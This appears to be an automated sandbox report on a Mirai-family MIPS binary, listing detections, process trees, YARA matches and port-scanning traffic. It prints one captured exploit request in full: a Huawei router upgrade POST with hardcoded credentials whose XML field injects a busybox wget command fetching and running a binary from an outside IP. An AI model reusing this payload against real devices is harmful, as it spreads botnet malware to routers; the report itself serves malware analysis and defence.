Create Interactive Tour

Linux Analysis Report
O0yR6BYAeD

Overview

General Information

Sample Name:	O0yR6BYAeD
Analysis ID:	634901
MD5:	e0d1cdf76af9649b0a840cef21d9cf6d
SHA1:	894f1c5a6b59b6b809b46547cfd044634b4bbb1a
SHA256:	bec7b61ccb7e948c45ec27b894d4f83a411f74dd4e7a6ef5128c274233cd5f5f
Tags:	32elfmipsmirai
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Sample is packed with UPX

Uses known network protocols on non-standard ports

Connects to many ports of the same IP (likely port scanning)

Sample contains only a LOAD segment without any section mappings

Yara signature match

Deletes log files

HTTP GET or POST without a user agent

Uses the "uname" system call to query kernel version information (possible evasion)

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	634901
Start date and time: 27/05/202201:45:10	2022-05-27 01:45:10 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	O0yR6BYAeD
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal76.troj.evad.lin@0/53@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://185.44.81.114/bins/mips;

Runtime Messages

Command:	/tmp/O0yR6BYAeD
PID:	6284
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6197, Parent: 1)

logrotate (PID: 6197, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6263, Parent: 6197)

gzip (PID: 6263, Parent: 6197, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6264, Parent: 6197)

sh (PID: 6264, Parent: 6197, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6265, Parent: 6264)

invoke-rc.d (PID: 6265, Parent: 6264, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6266, Parent: 6265)

runlevel (PID: 6266, Parent: 6265, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6267, Parent: 6265)

systemctl (PID: 6267, Parent: 6265, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6269, Parent: 6265)

ls (PID: 6269, Parent: 6265, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6270, Parent: 6265)

systemctl (PID: 6270, Parent: 6265, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6272, Parent: 6197)

gzip (PID: 6272, Parent: 6197, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6273, Parent: 6197)

sh (PID: 6273, Parent: 6197, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6274, Parent: 6273)

rsyslog-rotate (PID: 6274, Parent: 6273, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6275, Parent: 6274)

systemctl (PID: 6275, Parent: 6274, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6198, Parent: 1)

install (PID: 6198, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6262, Parent: 1)

find (PID: 6262, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6268, Parent: 1)

mandb (PID: 6268, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

O0yR6BYAeD (PID: 6284, Parent: 6121, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/O0yR6BYAeD

O0yR6BYAeD New Fork (PID: 6286, Parent: 6284)

O0yR6BYAeD New Fork (PID: 6287, Parent: 6284)

O0yR6BYAeD New Fork (PID: 6289, Parent: 6284)

O0yR6BYAeD New Fork (PID: 6290, Parent: 6284)

O0yR6BYAeD New Fork (PID: 6291, Parent: 6284)

O0yR6BYAeD New Fork (PID: 6293, Parent: 6284)

O0yR6BYAeD New Fork (PID: 6298, Parent: 6293)

O0yR6BYAeD New Fork (PID: 6309, Parent: 6298)

O0yR6BYAeD New Fork (PID: 6311, Parent: 6309)

O0yR6BYAeD New Fork (PID: 6300, Parent: 6293)

O0yR6BYAeD New Fork (PID: 6302, Parent: 6300)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
O0yR6BYAeD	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth	0xab60:$s1: PROT_EXEC\|PROT_WRITE failed. 0xabcf:$s2: $Id: UPX 0xab80:$s3: $Info: This file is packed with the UPX executable packer

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6284.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6293.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6298.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6309.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6300.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 34 34 2e 38 31 2e 31 31 34 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.44.81.114 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: LOAD without section mappings

Program segment: 0x100000

Source: O0yR6BYAeD, type: SAMPLE

Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4

Source: classification engine

Classification label: mal76.troj.evad.lin@0/53@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Source: /usr/sbin/logrotate (PID: 6264)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6273)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog			Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 6267)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 6270)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6275)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34448 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48240 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49438 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58806 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43318 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53260
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53264
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53268
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53276
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53304
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 52869
